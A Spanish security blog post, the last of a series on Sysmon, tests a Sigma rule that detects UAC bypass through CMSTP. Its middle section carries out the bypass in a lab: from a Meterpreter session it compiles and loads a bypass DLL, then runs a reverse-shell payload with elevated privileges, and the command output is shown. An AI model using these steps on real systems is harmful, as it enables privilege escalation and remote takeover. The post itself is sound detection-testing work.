Image
SYSMON para monitorizarlos a todos.

SYSMON para monitorizarlos a todos 3/3

Detección

¡Hola! Hoy, con este tercer artículo daré por concluido el tema de Sysmon. En esta ocasión, abordaremos cómo realizar pruebas de detección.

Como ya disponemos de todo el entorno preparado (contado en los dos post anteriores a este), realizaremos una prueba de detección.

Para ello, elegimos una regla de detección de UAC ByPass mediante CMSTP

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/
win_cmstp_com_object_access.yml
 )

Del conjunto de reglas de Sigma seleccionaremos la siguiente:

win_cmstp_com_object_access.yml

Esta regla nos permite detectar posibles UAC Bypass mediante el uso de la herramienta Microsoft Connection Manager Profile Installer. Lo primero que tenemos que hacer es construir la regla de Sigma para nuestro entorno para, en este caso, poder usarla en Kibana. En nuestro caso, lanzamos así la creación de la regla:

$ ./sigmac -t es-qs --config config/winlogbeat.yml
../rules/windows/process_creation/win_cmstp_com_object_access.yml

Una vez que tenemos preparada la regla que vamos a lanzar,realizamos el Bypass de la UAC en el equipo de la víctima, en nuestro caso, el equipo de Windows 10. Emplearemos el código y los pasos aquí descritos ( https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html ).

Damos por hecho que tenemos acceso remoto en la máquina con un usuario sin privilegios:

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > whoami /priv

INFORMACI?N DE PRIVILEGIOS
--------------------------

Nombre de privilegio Descripci?n Estado
============================= ============================================ =============
SeShutdownPrivilege Apagar el sistema Deshabilitado
SeChangeNotifyPrivilege Omitir comprobaci?n de recorrido Habilitada
SeUndockPrivilege Quitar equipo de la estaci?n de acoplamiento Deshabilitado
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
SeTimeZonePrivilege Cambiar la zona horaria Deshabilitado
PS >

Ahora, con esta sesión que tenemos en remoto con el equipo víctima, procedemos a compilar el código en C# para poder ejecutar

PS > dir

Directorio: C:\Users\jose.INNOTEC\Downloads\bypass_uac

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 31/07/2019 21:32 3730 Source.cs

PS > Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
PS > dir

Directorio: C:\Users\jose.INNOTEC\Downloads\bypass_uac

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 31/07/2019 21:33 6144 CMSTP-UAC-Bypass.dll
-a---- 31/07/2019 21:32 3730 Source.cs

Y cargamos la librería generada:

PS > [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))

GAC Version Location
--- ------- --------
False v4.0.30319

Por último, solo nos hace falta indicar el ejecutable que se lanzará con privilegios aumentados. En este caso, el fichero “payload.exe” es una reverse Shell:
PS > [CMSTPBypass]::Execute("C:\Users\jose.INNOTEC\Desktop\payload.exe")
True
PS >
Y en la nueva sesión verificamos qué privilegios tenemos:
[*] Meterpreter session 1 opened (172.17.0.2:4445 -> 192.168.11.29:59475) at 2019-07-31 21:34:36 +0000

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > whoami /priv

INFORMACI?N DE PRIVILEGIOS
--------------------------

Nombre de privilegio Descripci?n Estado
========================================= ===========================
SeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso Deshabilitado
SeSecurityPrivilege Administrar registro de seguridad y auditor?a Deshabilitado
SeTakeOwnershipPrivilege Tomar posesi?n de archivos y otros objetos Deshabilitado
SeLoadDriverPrivilege Cargar y descargar controladores de dispositivo Deshabilitado
SeSystemProfilePrivilege Generar perfiles del rendimiento del sistema Deshabilitado
SeSystemtimePrivilege Cambiar la hora del sistema Deshabilitado
SeProfileSingleProcessPrivilege Generar perfiles de un solo proceso Deshabilitado
SeIncreaseBasePriorityPrivilege Aumentar prioridad de programaci?n Deshabilitado
SeCreatePagefilePrivilege Crear un archivo de paginaci?n Deshabilitado
SeBackupPrivilege Hacer copias de seguridad de archivos y directorios Deshabilitado
SeRestorePrivilege Restaurar archivos y directorios Deshabilitado
SeShutdownPrivilege Apagar el sistema Deshabilitado
SeDebugPrivilege Depurar programas Habilitada
SeSystemEnvironmentPrivilege Modificar valores de entorno firmware Deshabilitado
SeChangeNotifyPrivilege Omitir comprobaci?n de recorrido Habilitada
SeRemoteShutdownPrivilege Forzar cierre desde un sistema remoto Deshabilitado
SeUndockPrivilege Quitar equipo de la estaci?n de acoplamiento Deshabilitado
SeManageVolumePrivilege Realizar tareas de mantenimiento del volumen Deshabilitado
SeImpersonatePrivilege Suplantar a un cliente tras la autenticaci?n Habilitada
SeCreateGlobalPrivilege Crear objetos globales Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
SeTimeZonePrivilege Cambiar la zona horaria Deshabilitado
SeCreateSymbolicLinkPrivilege Crear v?nculos simb?licos Deshabilitado
SeDelegateSessionUserImpersonatePrivilege Obt?n un token de suplantaci?n para otro usuario en la misma sesi?n Deshabilitado
PS >

Una vez realizada esta prueba, vamos a ver qué hemos detectado en nuestra consola de monitorización. Primero, cargamos la regla de detección y buscamos si ha encontrado eventos:

El evento que ha saltado corresponde a un evento generado por Sysmon:


En concreto, corresponde con el Event ID 1 de Sysmon, que nos quiere indicar que se ha creado un proceso nuevo en el sistema. La línea en amarillo nos indica qué es lo que ha hecho saltar esta regla de detección.

Como hemos podido comprobar, al emplear Sysmon como herramienta de monitorización, hemos podido detectar ataques que podrían pasar desapercibidos. Además, Sigma tiene un buen repertorio de reglas ya definidas que facilitan mucho la labor de despliegue en un sistema de monitorización.

Y con este post doy por terminada la trilogía sobre Sysmon, espero que lo hayáis disfrutado tanto como yo. Nos leemos pronto ;)

¡Un saludo!


 

José Pablo Ferrero